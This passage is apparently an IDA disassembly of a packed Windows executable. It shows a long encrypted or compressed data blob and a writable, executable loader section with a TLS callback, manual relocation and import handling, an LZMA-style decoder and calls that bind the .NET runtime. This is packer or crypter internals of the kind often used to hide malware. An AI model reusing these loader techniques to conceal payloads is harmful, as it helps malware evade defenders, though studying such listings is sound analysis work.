0EA43A90Fh, 74C2E1AFh dd 257EEC0Ah, 42AA53D3h, 9206AAFCh, 7696BB3Ah, 38C954C3h dd 862B874Dh, 55BEE9B3h, 0FE09B7D3h, 0D3D5B18Ch, 2DEC130Dh dd 752C7B5h, 43B20F30h, 0D0B068D4h, 0E23A016Bh, 53BBCC11h dd 94B8FD18h, 6D61A4F6h, 6B2F2DA3h, 8CF718E7h, 9C53B2ADh dd 0C891790Bh, 329B9B66h, 48B1425Ch, 2371182Eh, 0F0FFDE55h dd 8DACB4F1h, 0EC4D0C4Dh, 8D81563Bh, 0F327A18Dh, 635F17h dd 6B00B610h, 39B7973Bh dd 0B6427F7Ch, 66E95F7Ah, 0E6EB7810h, 2E047527h, 388C2371h dd 1E3FCF27h, 2EC8A7F9h, 235A33AAh, 0A5F249D8h, 4C81D863h dd 84F7B0EFh, 0D1E72922h, 0E2040689h, 0E6D53252h, 0B6594C56h dd 2231F773h, 679C02BDh, 2087E09Eh, 0F40D82E7h, 5F3F8F62h dd 3A3D877Eh, 6C9C2132h, 32890FB6h, 34687A2Eh, 5D8DCF04h dd 3E449B3Bh, 54E65804h, 2E98E6C9h, 0B00F7B1Eh, 7062D77Ah dd 0A545443h, 0EDF7CD8Ah, 8AFE5CE4h, 5067A7A6h, 62468459h dd 0C87414FCh, 0D3EC1BA7h, 0ADD2CF1Ch, 7828E9E9h, 0DEA0F393h dd 6D71D5E6h, 0A86E12BFh, 5748B70h, 4CA646E4h, 8E88ED7h dd 0D05F6955h, 7E27EA8Fh, 0CD4C92Eh, 8372DEA8h, 0F105D03Eh dd 0BCC2B248h, 0D1FBFA3Bh, 0BA737EB7h, 75B0C41Fh, 0D658D418h dd 6BEF15EFh, 0ADD68596h, 21A28785h, 6B37AF2Fh, 0C3486304h dd 0EA3DEFF1h, 0A4F0F35Eh, 5A924D2Ch, 95DDF064h, 0F1BA9BD2h dd 0B9D9E8A7h, 0D755D93Fh, 0DC0B825Fh, 24CAFACCh, 3DE0576Dh dd 32C73609h, 33652C27h, 65C3442Ah, 3779614Ch, 7A634FFh dd 1463D07Eh, 0C10EABE7h, 0D174B8FAh, 0EBCA2123h, 4B8E0176h dd 9E2BCB14h, 0D1AB10ECh, 1EE14BDh, 0BEE559F8h, 6858622Ah dd 0BBB92F4Bh, 7D0E44C3h, 0A922FDD4h, 9DF82C8Fh, 0F94D754Ch dd 0A4329635h, 0B2311404h, 1A7B1137h, 0B37CB987h, 5093547Fh dd 0F2DF8978h, 741A2C74h, 0C61B5C16h, 0D7E9A894h, 2FB38ED9h dd 0E4EE41C5h, 0AB9E6789h, 343B5A5Fh, 588C9F7Dh, 29D52FF9h dd 30F369C3h, 9D40A9E2h, 5EB2767Eh, 1957224Ch, 6938537Ah dd 0AEF4641Eh, 0F813338Fh, 5C3B56C5h, 0ECAA4897h, 0F40D1218h dd 452EE628h, 0E9640A4Dh, 0B7994362h, 0B8C439FDh, 8D620565h dd 5BF90837h, 196EBDC8h, 7F53C383h, 0F5E1CD22h, 0AAD335DCh dd 0AF0C958Fh, 0B6C8DCB7h, 0EB2C289Eh, 21066D0Dh, 0A9D92682h dd 1B6C1DDEh, 735CA656h, 0F7B56EC3h, 0F147C627h, 5B9C11E6h dd 9458B8Fh, 6E2280EEh, 17F0BBDh, 58AAB63Ch, 3444ACAh dd 0FADC9C47h, 8273AB4Ah, 0C9E7E9C3h, 3B54943h, 3EDBAB39h dd 10A304F3h, 0D9569A99h, 0CB11B2FAh, 66FFA02Ch, 0F255AC59h dd 0C8EA25C2h, 0C019E4CCh, 862DED73h, 97B158Dh, 936C3FA7h dd 3BFC7009h, 0DCA2CD51h, 0C5B0223Eh, 9F139250h, 0A7DA0D88h dd 52537EEEh, 0F894DEF3h, 0E0F3980Bh, 0B1AA2969h, 0FEA8C208h dd 0C22B7419h, 9CDF51C2h, 750AFC2Eh, 1F148C2Eh, 0F000560Ah dd 415AC3D8h, 64361B95h, 0D3D24A78h, 7617168Eh, 0CA83F73Fh dd 0EB79E1F3h, 0E0CD3B17h, 8660C7BAh, 59897E09h, 0B9846622h dd 0C643D01Eh, 585097B6h, 6C7D3722h, 28BB38DFh, 71E945E8h dd 7B3E3500h, 24F2CD30h, 140CAD3Eh, 50A2DAE8h, 0B07F4750h dd 89A5D773h, 0AE29759Dh, 2177E1C1h, 46BD2B41h, 53DB6247h dd 0A5E797Fh, 0D1257F3Dh, 59F37350h, 0EBF5E8A7h, 76E3E9C9h dd 143E4590h, 8E7AF27Dh, 4676153Ah, 71DC343Ah, 6D7B5494h dd 6EC51F89h, 9C320C2Dh, 15E4024h, 0C6E5F8BBh, 0DD31EAB9h dd 0A2BD950Ch, 0A94F7754h, 19DCCAA9h, 56685346h, 0DA4E279Fh dd 0B24BDA39h, 5231A253h, 0BDAFF515h, 2728E7E2h, 3A220C9h dd 0FA5CC165h, 5C2039E8h, 768F4253h, 0ABB2F736h, 0E57871A6h dd 0A3193A5Dh, 0A406B93Ch, 0B6960Eh, 88019905h, 5569F688h dd 6FE1E0B2h, 8980D157h, 79B87EB4h, 0C71752A0h, 0A70205D4h dd 0DD49C5ADh, 0C9B832Ah, 0D76E15F4h, 0B3B7A89Eh, 2B999B2Fh dd 18DAC7DDh, 25B6F7FDh, 5D5D5252h, 6BF666BFh, 812AA450h dd 4B4E23B0h, 696D0561h, 6B29AF49h, 0A05B3571h, 7C88D871h dd 0CE0D36F2h, 0B4BE794h, 0B8389F4Fh, 243F16h, 0AF0FD6D3h dd 0DC17E78Eh, 2C107725h, 25974840h, 5EA2D6D7h, 962F504Ch dd 0DB7CB050h, 39D047Fh, 0DAF57561h, 0EDAFC2D4h, 8F739A6Ah dd 0AAC06D09h, 0A165DBA9h, 316CDCB8h, 0E7F5DF13h, 1232C93Eh dd 0DB2005FBh, 0F0E9F637h, 2D75445Fh, 623375E4h, 0BE76AA92h dd 4EB91560h, 15A3D6A3h, 0A94031DBh, 0A00703D1h, 65EFE570h dd 70B557D2h, 1C7873DEh, 3EDF50D9h, 0DF50CC9Bh, 3E06A5F8h dd 0E6E45236h, 2EAFF7F6h, 0FE60AC21h, 38E6A4Ch, 4F46C17h dd 57F6B316h, 72833A1Fh, 0D0EE4ABDh, 0E3331F97h, 35ADD4E1h dd 65A255B4h, 0E49A3D8Ah, 8FC47E07h, 88465093h, 0A1E894A1h dd 0E3D4DAE6h, 600F79E4h, 0F7F7D19Ch, 9E607CD1h, 7F24AEF8h dd 334F0D77h, 2A95A4Bh, 385B7FA8h, 0E601DCB8h, 1FDC9234h dd 86371921h, 0D0AE2952h, 57E8408Eh, 7E171D1Bh, 77C29238h dd 0D5886F41h, 89135885h, 3213E719h, 0CBF34A6Fh, 9B8AA628h dd 2129090Dh, 24599C34h, 0AEB73FFEh, 59443F67h, 0C67DADF6h dd 6DBF2C75h, 507CAC6Bh, 0A2B47108h, 868A54EEh, 19CB5939h dd 0D0BDB0DCh, 0DC0E0CADh, 6A1A0F4Dh, 30E790Bh, 3E4CD1BBh dd 73647F61h, 0B1756A2Dh, 75C74126h, 0DAE955DAh, 5A4CF5A9h dd 36C50784h, 0B1F95AE3h, 0B5AF0C21h, 240A2585h, 0B50B4237h dd 645FA5AAh, 4D6500F1h, 541BED84h, 7A79949Bh, 9A8447C2h dd 0BABF3896h, 23DF0689h, 0B2300237h, 6EFCC5F0h, 2381A0D3h dd 4CC3F06Ah, 0B64AD1EDh, 0BD1A844Eh, 461D69CEh, 172D5E5Ch dd 8AE3D968h, 0EC65F7A9h, 5D7F3D8Ah, 4714FFA8h, 1F862227h dd 6078F804h, 1C87BDD0h, 7010DAC6h, 0EC738179h, 0D49275DDh dd 0EFB9705Fh, 0A2CF436Dh, 814CFB9Bh, 7281E23Dh, 3ECFE3ECh dd 0DDA6DAC4h, 0A59394DAh, 0E9AE3215h, 7D809CCFh, 0A2ED312Bh dd 527FC80h, 894F0EE2h, 0C38DADBFh, 0FD1E4B88h, 96CC6D69h dd 508654F4h, 2975E3D9h, 0C8C9B332h, 0F064D845h, 5D43FD61h dd 0C8187F0Dh, 3862087Eh, 0C24574B0h, 5383B9Ch, 0AAF773B2h dd 651564h, 0F8666807h, 879825B4h, 187BF322h, 68F3AAEh dd 0CC20A501h, 7B9EDBE0h, 9DF5C856h, 0A00FCCA4h, 10BE587Ch dd 0B2960E8Bh, 0A60DA9E8h, 0DE7EC94Fh, 0CA0C10ACh, 0E8120F38h dd 0C6D4A8CBh, 0F7D0F1FEh, 8F39CB24h, 5404365Fh, 6E29AC4Dh dd 5F434EC1h, 864A3BB8h, 853BB6E7h, 1E2B337Ch, 88F9806Ch dd 0EB5E307Ch, 4ABCF68Ch, 3E51F439h, 5BAF52Ch, 438CE7A6h dd 0A53E59E1h, 388C63D3h, 0A57202F1h, 7F81ADFFh, 5189F10Ch dd 0D77C9724h, 0CE1B3578h, 0D42A9B77h, 0BB77F51Ch, 3ADFE43Ah dd 433C7096h, 0D31E3F78h, 0D2EE23AAh, 0AFCEC646h, 0E50EC98Fh dd 9EBFC87Fh, 635D8B4h, 70AAC69Fh, 2371FA9Dh, 8599169h dd 0E5C745A8h, 3A83C8E9h, 0D7A27B5Eh, 15E2B8D9h, 0C9104CC3h dd 0DAA5F665h, 0DAE866CBh, 8F0BBF1Ah, 2B92C6Fh, 0C0E367C7h dd 87F5A820h, 94222295h, 9B93F535h, 2990C7AFh, 0CF8CA8E8h dd 0AD6CAFD2h, 0C9123FF8h, 5231F7C5h, 0E0D78CAFh, 67A20C91h dd 78715E56h, 40D503D4h, 2D68E1B9h, 4FFE5238h, 0CB8F4BB8h dd 29E35F00h, 143E6318h, 0F938AFC2h, 0C4F68A91h, 0DB865A4Bh dd 174BF43Eh, 6FD335A2h, 0FC4BF6EEh, 33169452h, 6580C05h dd 0F20E47BBh, 1737B97Fh, 0D2CB8202h, 2830D971h, 8D6909FFh dd 45BED527h, 12D7BE19h, 0FD062726h, 0B268FA7Fh, 26210925h dd 0F184922Dh, 758AB041h, 0A9711C57h, 0F1F369DCh, 85499679h dd 0F83DA5AEh, 2B1EC57h, 10A5A96h, 6B391A64h, 33702E82h dd 578B2BBEh, 0DCC56955h, 7DA5F82Dh, 5BE589D9h, 97EC167Ah dd 963DB364h, 4A80B4A2h, 4D603806h, 68B26E4Bh, 0B0383E0h dd 219AC8EBh, 24B8782Ch dd 0EBDC23ADh, 8ED43A34h, 45CF81BEh, 961A4645h, 0A6A6A6DEh dd 0FD37C339h, 0C7B2CFEEh, 60664C16h, 0BCE73201h, 1BDDB6C2h dd 88B0C49Ah, 14CDA382h, 0C0F7A9EAh, 0DD89A117h, 0A5C28E4Ch dd 374FEB1Eh, 4471512Ah, 23AB248Eh, 9D1D2526h, 290F61FFh dd 0BA4732BFh, 54E64764h, 0F57C0233h, 5595A6EDh, 9A407DA5h dd 0A7331A92h, 57A969F6h, 0F3865CCDh, 71A50373h, 0F34C3F98h dd 9B6FC4AEh, 8729E24Fh, 892BB689h, 39A9966Eh, 0CFEB0433h dd 5A61A7E4h, 0BC6F5C2Fh, 85C2B2B6h, 0E872C681h, 0D2FC08C7h dd 47F45D01h, 1A187851h, 6D34D92Bh, 0B3D935B7h, 339F744Eh dd 1B5F7FAAh, 0E6F7C13Bh, 5F2336E0h, 0E68F620Ch, 0F57196C9h dd 0F0898D9Bh, 0DBF69110h, 7EAEC8A0h, 19F4178Ah, 671D552Ah dd 6F6DB674h, 92161888h, 67ADA500h, 0CEF56901h, 0C5DF24E6h dd 5155BC74h, 9487C2B7h, 0E065C6D9h, 0D575310Dh, 39CEA7D1h dd 2D436AABh, 0CAF4A92Eh, 6C5933E2h, 243570E6h, 24D3C1Eh dd 906647A9h, 64726CA3h, 5B866F13h, 10F798FDh, 6C7E9C43h dd 1B5BF981h, 920DB437h, 5B327B3Dh, 25C29C64h, 190485E5h dd 5C0421EFh, 40013A0Bh, 1EAE8Ch, 0A0195FB0h, 0A90C9CEEh dd 0D1B2588Bh, 0E77DD1C2h, 4BEE1108h, 0A1B62879h, 125DC8FDh dd 17A5EDFDh, 6F97856h, 4F8ED69Eh, 57771C65h, 380FA666h dd 0ABE2093Dh, 6C6C9958h, 3EBA67EDh, 527D8E59h, 6D8B5037h dd 56B0F4C9h, 0D91F2873h, 805E4CA6h, 5356C40Eh, 0AE4DD1CDh dd 0C0B2BB4Eh, 95285402h, 48F6C471h, 5843748h, 118E1F9Bh dd 0CDD56ECBh, 13B3BDE3h, 5542A900h, 15F3740Bh, 9DD9C458h dd 0B1E56DCFh, 2B143ED8h, 45EB57Bh, 82C63847h, 0F2213176h dd 73D26958h, 0ED2C65DDh, 9E4A16FFh, 0ABB5533Fh, 0E82322D6h dd 1C50776h, 5BA99A87h, 5846F705h, 0DD884A15h, 0BB536137h dd 0A45FAC32h, 4700AC2Ch, 0B6868819h, 22F4CB39h, 20B37A9Eh dd 59AC8CC5h, 0C81F1AD8h, 0C598E48Eh, 0E0F40373h, 749730D4h dd 6E027CE4h, 4FA4C04Fh, 0C40C5F38h, 71595505h, 498BEF6Ah dd 9F40A396h, 35DE542Ah, 7ADB91Bh, 8C1D74EDh, 5606F84Bh dd 549DDCDh, 0EDF68348h, 1ECF9A83h, 26F2066Ah, 6CDA52EFh dd 0DD141AF8h, 9433E582h, 2979B765h, 30CD1249h, 0CCD0E994h dd 7A1BB358h, 4F6C175Dh, 0A4C730FCh, 0B0ECC572h, 23E4583Eh dd 0D6E3BF77h, 7DB20170h, 53058238h, 2B2ADDF9h, 141DB512h dd 933A1027h, 3B21E4A8h, 2653D032h, 7CAB9DFDh, 0B85A1BD5h dd 47D0A15Dh, 0FD01E77h, 0B6E81254h, 0D698CF61h, 1CFA0780h dd 0B2115931h, 85D6C4A6h, 3190B442h, 7D87C2EBh, 0D0A9E974h dd 6A5DC701h, 57DB4D68h, 5B5D1E84h, 0F2343F7Fh, 0A08A6D2Fh dd 2B183CBAh, 63F34B32h, 1AE2C3A9h, 0ACA02997h, 49CC7A53h dd 4CF32252h, 6CCAB496h, 0C2483983h, 0ACBD8563h, 59EBEDC8h dd 64C0EF9Ch, 899F8A17h, 77BF3923h, 2193EBCCh, 81E15273h dd 9119A83Ah, 0F411CA84h, 57218125h, 8609BEF4h, 99A53C43h dd 0C628B76Dh, 19DD0FF5h, 0FFFD4F93h, 6D63CF9Ch, 23E50EC4h dd 842B45F7h, 66367EE8h, 0CE5267BDh, 82D85879h, 0E5D40FDFh dd 0E5AE85A7h, 3F9B9602h, 0F8663FF9h, 0EBEEE463h, 0C767F348h dd 80EFE40Ch, 35D54D8Dh, 0B07261DEh, 0BA560D5Eh, 0BC3355A9h dd 78227987h, 0A5B90328h, 21F525DBh, 5EABF917h, 2F2B5095h dd 82AD465Fh, 330E40Fh, 917128E9h, 6BB736CAh, 30269A1h dd 4BCF3EBAh, 1F8BB544h, 18B299CCh, 0D1245A73h, 0A06D2362h dd 4D88D910h, 0EE2CD251h, 902859C2h, 0C98FC74Fh, 47D5B8BBh dd 48B7D6D6h, 4AC7AD43h, 13F2C56Ah, 0E46E19F2h, 485B8F2Ah dd 7772CEAAh, 0E12ECD34h, 9A780793h, 0D80B54A6h, 6BE99739h dd 67FD5333h, 5E93574Ah, 0ADEC3374h, 76A5054Eh, 95010660h dd 1D5E7948h, 3C0510F0h, 1F83118h, 0DF8A005Bh, 979B2A46h dd 6F1C2D1Fh, 7F0C68CBh, 0C312D0E4h, 0E5747F05h, 1F96FBE3h dd 0D96AEAA1h, 88AA56A7h, 0CF5030EEh, 0CB842B7Bh, 332A4BF8h dd 1D828526h, 5F475647h, 1B8F84ABh, 65A50BCCh, 0B9BDC5D5h dd 0C45CBE30h, 0B005B042h, 713C3C8Bh, 6F446A83h, 1B36204Fh dd 0DDBE99D4h, 0C676C022h, 8500F8D4h, 28B30078h, 0A7DBF71Bh dd 346855C2h, 687221C6h, 0E5406D8Dh, 0FA414A66h, 1DB8120Bh dd 0F80E7E83h, 947275C2h, 0E490873h, 93451FBBh, 9A00FF25h dd 703035A7h, 4523F676h, 0F197134Ch, 0A6901600h, 72B24627h dd 0D8CAE456h, 4FB1A959h, 6E1123B5h, 3B446041h, 2D9F4BACh dd 0B8CC4319h, 0A594113h, 91DBE56Dh, 8320D566h, 0A258895Ah dd 0A3C65C93h, 0A0C71642h, 2B9392F8h, 6FCA727Fh, 3472853Eh dd 12671A6Ah, 93229C90h, 44189F89h, 2391C6F2h, 2DA7CB30h dd 0A0A25F77h, 1F66FD4Ch, 4EC2DD88h, 505FCEACh, 8444EA0Bh dd 0F4896979h, 4BE652C9h, 962BA52Ah, 700701C4h, 6A96B41h dd 0C86E4FF9h, 0E15FB3B6h, 766CDB31h, 63BBFB32h, 65F5C6F1h dd 42FBFFBCh ; --------------------------------------------------------------------------- cmp edx, ebp _pdata ends ; Section 3. (virtual address 00034000) ; Virtual size : 00001954 ( 6484.) ; Section size in file : 00001954 ( 6484.) ; Offset to raw data for section: 00034000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _ex_cod segment para public 'CODE' use32 assume cs:_ex_cod ;org 434000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_434000 dd 185Ch ; DATA XREF: start:loc_434A55r ; start+21o TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: .ex_cod:TlsCallbacks_ptro TlsIndex dd 0 ; DATA XREF: .ex_cod:TlsIndex_ptro dword_43400C dd 0 ; DATA XREF: TlsCallback_0:loc_435323r ; sub_435372+7w dword_434010 dd 1 ; DATA XREF: TlsCallback_0+44w ; sub_435372r dword_434014 dd 400000h ; DATA XREF: TlsCallback_0+4Aw ; sub_435372+1Fr dword_434018 dd 1 ; DATA XREF: TlsCallback_0+52w ; sub_435372+19r dword_43401C dd 0 ; DATA XREF: TlsCallback_0+5Aw ; sub_435372+13r dword_434020 dd 0 ; DATA XREF: start+1E3r ; TlsCallback_0+Fw off_434024 dd offset dword_43585C ; DATA XREF: start+26w start+2Br ... dword_434028 dd 400000h ; DATA XREF: start+38w start+4Cr ... dword_43402C dd 1 ; DATA XREF: start+3Er ; start:loc_434A96w dword_434030 dd 0 ; DATA XREF: start+BAw sub_4353E1+Br ... align 8 aUnexpectedRelo db 'Unexpected relocation type: *pw = 0x%04x *pdw = 0x%08x',0 ; DATA XREF: start+801o aErrorBadReloca db 'Error bad relocation pointer: *pdw = 0x%08x',0 ; DATA XREF: start+7B1o aTheHsFileIsL_0 db 'The %hs file is ',0Ah ; DATA XREF: start+662o db 'linked to missing export %hs:%hs.',0 align 10h aTheHsFileIsLin db 'The %hs file is ',0Ah ; DATA XREF: start+643o db 'linked to missing export %hs:0x%04x.',0 align 4 aARequired_dllF db 'A required .DLL file, %hs, was not found.',0 ; DATA XREF: start+558o align 4 aErrorAllocatin db 'Error allocating memory!',0 ; DATA XREF: start+2CDo align 10h dword_434150 dd 5F696DCh, 36632B29h, 38C48BADh, 13A7F29Ch ; DATA XREF: sub_435421+131o aWks: ; DATA XREF: sub_435421+F1o unicode 0, <wks>,0 aOleaut32_dll db 'oleaut32.dll',0 ; DATA XREF: sub_435421+57o align 4 aCorbindtorunti db 'CorBindToRuntimeEx',0 ; DATA XREF: sub_435421+4Fo align 4 aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_435421+45o aCouninitialize db 'CoUninitialize',0 ; DATA XREF: sub_435421+38o align 4 aCoinitialize db 'CoInitialize',0 ; DATA XREF: sub_435421+2Do align 4 aOle32_dll db 'ole32.dll',0 ; DATA XREF: sub_435421+11o align 4 dd 34200h, 2 dup(0) dd 34304h, 34234h, 34228h, 2 dup(0) dd 3432Ch, 3425Ch, 5 dup(0) dd 34268h, 34276h, 34286h, 34298h, 342AAh, 342BEh, 342D0h dd 342DEh, 342F4h, 0 dd 34312h, 3431Eh, 0 dword_434234 dd 77E79E34h ; DATA XREF: sub_434960+ADr start+3ADr ... dword_434238 dd 77E7980Ah ; DATA XREF: sub_434960+65r start+142r ... dword_43423C dd 77E7A5FDh ; DATA XREF: start+5F0r start+612r ... dword_434240 dd 77E805B8h ; DATA XREF: start+508r start+546r dword_434244 dd 77E79F93h ; DATA XREF: start+4F2r dword_434248 dd 77E6169Ah ; DATA XREF: start+4DAr start+696r ... dword_43424C dd 77E75CB5h ; CODE XREF: sub_43539D+2Cp ; DATA XREF: start+2DCr ... dword_434250 dd 77E7A099h ; DATA XREF: start+177r dword_434254 dd 77E805D8h ; DATA XREF: sub_435421+9r dd 0 dword_43425C dd 77D4C96Ah ; DATA XREF: start+560r start+64Br ... dword_434260 dd 77D6ADD7h ; DATA XREF: start+2D4r start+573r ... align 8 dd 69560378h, 61757472h, 6572466Ch, 3750065h, 74726956h dd 416C6175h, 636F6C6Ch, 1980000h, 50746547h, 41636F72h dd 65726464h, 7373h, 6F4C0249h, 694C6461h, 72617262h, 41784579h dd 1770000h, 4D746547h, 6C75646Fh, 6E614865h, 41656C64h dd 37B0000h, 74726956h, 506C6175h, 65746F72h, 7463h, 784500AFh dd 72507469h, 7365636Fh, 1750073h aGetmodulefil_0 db 'GetModuleFileNameA',0 align 4 dd 6F4C0248h, 694C6461h, 72617262h, 4179h, 4E52454Bh, 32334C45h dd 6C6C642Eh, 2D50000h, 72707377h, 66746E69h, 1DE0041h dd 7373654Dh, 42656761h, 41786Fh, 52455355h, 642E3233h dd 6C6Ch ; --------------------------------------------------------------------------- loc_434338: ; DATA XREF: sub_435421+E5o and ah, [edi+2Fh] retf ; --------------------------------------------------------------------------- cmp ch, [ebx+409C11D2h] add al, al dec edi mov ds:67233E0Ah, eax ; DATA XREF: sub_435421+EAo das retf ; --------------------------------------------------------------------------- dd 11D2AB3Ah, 0C000409Ch, 3E0AA34Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434358 proc near ; CODE XREF: sub_4345EB+309p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] push esi xor eax, eax mov esi, [ecx+8] push edi mov edi, [ecx+0Ch] test edx, edx jle short loc_4343B0 push ebx mov [ebp+arg_0], edx loc_434373: ; CODE XREF: sub_434358+55j shr esi, 1 shl eax, 1 cmp edi, esi jb short loc_43437F sub edi, esi or al, 1 loc_43437F: ; CODE XREF: sub_434358+21j cmp esi, 1000000h jnb short loc_4343AA mov edx, [ecx] shl esi, 8 cmp edx, [ecx+4] jnz short loc_43439D mov dword ptr [ecx+10h], 1 or bl, 0FFh jmp short loc_4343A2 ; --------------------------------------------------------------------------- loc_43439D: ; CODE XREF: sub_434358+37j mov bl, [edx] inc edx mov [ecx], edx loc_4343A2: ; CODE XREF: sub_434358+43j movzx edx, bl shl edi, 8 or edi, edx loc_4343AA: ; CODE XREF: sub_434358+2Dj dec [ebp+arg_0] jnz short loc_434373 pop ebx loc_4343B0: ; CODE XREF: sub_434358+15j mov [ecx+0Ch], edi mov [ecx+8], esi pop edi pop esi pop ebp retn sub_434358 endp ; =============== S U B R O U T I N E ======================================= sub_4343BA proc near ; CODE XREF: sub_43447F+1Dp ; sub_4344B6+1Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov edx, [esp+arg_0] push esi push edi mov eax, [ecx+8] movzx esi, word ptr [edx] mov edi, eax shr edi, 0Bh imul edi, esi mov esi, [ecx+0Ch] cmp esi, edi jnb short loc_43442B mov [ecx+8], edi mov ax, [edx] movzx esi, ax mov edi, 800h sub edi, esi sar edi, 5 add edi, eax mov [edx], di mov eax, [ecx+8] cmp eax, 1000000h jnb short loc_434427 mov esi, [ecx] cmp esi, [ecx+4] jnz short loc_43440E mov dword ptr [ecx+10h], 1 or dl, 0FFh jmp short loc_434413 ; --------------------------------------------------------------------------- loc_43440E: ; CODE XREF: sub_4343BA+46j mov dl, [esi] inc esi mov [ecx], esi loc_434413: ; CODE XREF: sub_4343BA+52j mov esi, [ecx+0Ch] movzx edx, dl shl esi, 8 or esi, edx shl eax, 8 mov [ecx+0Ch], esi mov [ecx+8], eax loc_434427: ; CODE XREF: sub_4343BA+3Fj xor eax, eax jmp short loc_43447C ; --------------------------------------------------------------------------- loc_43442B: ; CODE XREF: sub_4343BA+1Dj sub eax, edi sub esi, edi mov [ecx+8], eax mov [ecx+0Ch], esi mov ax, [edx] push 1 mov si, ax shr si, 5 sub eax, esi mov [edx], ax mov edx, [ecx+8] cmp edx, 1000000h pop eax jnb short loc_43447C mov esi, [ecx] push ebx cmp esi, [ecx+4] jnz short loc_434462 mov [ecx+10h], eax or bl, 0FFh jmp short loc_434467 ; --------------------------------------------------------------------------- loc_434462: ; CODE XREF: sub_4343BA+9Ej mov bl, [esi] inc esi mov [ecx], esi loc_434467: ; CODE XREF: sub_4343BA+A6j mov esi, [ecx+0Ch] movzx edi, bl shl esi, 8 or esi, edi pop ebx shl edx, 8 mov [ecx+0Ch], esi mov [ecx+8], edx loc_43447C: ; CODE XREF: sub_4343BA+6Fj ; sub_4343BA+96j pop edi pop esi retn sub_4343BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43447F proc near ; CODE XREF: sub_434576+26p ; sub_434576+51p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push 1 pop eax jle short loc_4344AA push esi push edi mov edi, [ebp+arg_4] loc_434490: ; CODE XREF: sub_43447F+27j push [ebp+arg_8] lea esi, [eax+eax] mov eax, [ebp+arg_0] add eax, esi push eax call sub_4343BA pop ecx add eax, esi dec edi pop ecx jnz short loc_434490 pop edi pop esi loc_4344AA: ; CODE XREF: sub_43447F+Aj mov ecx, [ebp+arg_4] push 1 pop edx shl edx, cl sub eax, edx pop ebp retn sub_43447F endp ; =============== S U B R O U T I N E ======================================= sub_4344B6 proc near ; CODE XREF: sub_4345EB+2F5p ; sub_4345EB+320p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push edi xor ebx, ebx push 1 xor edi, edi cmp [esp+0Ch+arg_4], ebx pop edx jle short loc_4344EC push esi loc_4344C6: ; CODE XREF: sub_4344B6+33j mov eax, [esp+0Ch+arg_0] push [esp+0Ch+arg_8] lea esi, [edx+edx] add eax, esi push eax call sub_4343BA pop ecx lea edx, [esi+eax] pop ecx mov ecx, edi shl eax, cl or ebx, eax inc edi cmp edi, [esp+0Ch+arg_4] jl short loc_4344C6 pop esi loc_4344EC: ; CODE XREF: sub_4344B6+Dj mov eax, ebx pop edi pop ebx retn sub_4344B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4344F1 proc near ; CODE XREF: sub_4345EB+143p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi movzx esi, [ebp+arg_8] shr esi, 7 shl [ebp+arg_8], 1 mov eax, esi push edi mov edi, [ebp+arg_0] push [ebp+arg_4] shl eax, 9 lea eax, [eax+edi+202h] push eax call sub_4343BA pop ecx mov ebx, eax pop ecx or ebx, 2 loc_434520: ; CODE XREF: sub_4344F1+5Fj cmp esi, eax jnz short loc_434552 cmp ebx, 100h jge short loc_43456F movzx esi, [ebp+arg_8] shr esi, 7 push [ebp+arg_4] lea eax, [esi+1] shl [ebp+arg_8], 1 shl eax, 8 add eax, ebx lea eax, [edi+eax*2] push eax call sub_4343BA pop ecx add ebx, ebx pop ecx or ebx, eax jmp short loc_434520 ; --------------------------------------------------------------------------- loc_434552: ; CODE XREF: sub_4344F1+31j mov esi, 100h loc_434557: ; CODE XREF: sub_4344F1+7Cj cmp ebx, esi jge short loc_43456F push [ebp+arg_4] add ebx, ebx lea eax, [ebx+edi] push eax call sub_4343BA pop ecx or ebx, eax pop ecx jmp short loc_434557 ; --------------------------------------------------------------------------- loc_43456F: ; CODE XREF: sub_4344F1+39j ; sub_4344F1+68j pop edi mov al, bl pop esi pop ebx pop ebp retn sub_4344F1 endp ; =============== S U B R O U T I N E ======================================= sub_434576 proc near ; CODE XREF: sub_4345EB+24Fp ; sub_4345EB+29Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push edi push esi call sub_4343BA pop ecx pop ecx test eax, eax push edi jnz short loc_4345A6 mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+4] push eax call sub_43447F add esp, 0Ch jmp short loc_4345E8 ; --------------------------------------------------------------------------- loc_4345A6: ; CODE XREF: sub_434576+16j lea eax, [esi+2] push eax call sub_4343BA pop ecx pop ecx test eax, eax push edi jnz short loc_4345D4 mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+104h] push eax call sub_43447F add esp, 0Ch add eax, 8 jmp short loc_4345E8 ; --------------------------------------------------------------------------- loc_4345D4: ; CODE XREF: sub_434576+3Ej add esi, 204h push 8 push esi call sub_43447F add esp, 0Ch add eax, 10h loc_4345E8: ; CODE XREF: sub_434576+2Ej ; sub_434576+5Cj pop edi pop esi retn sub_434576 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4345EB proc near ; CODE XREF: sub_434960+95p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = 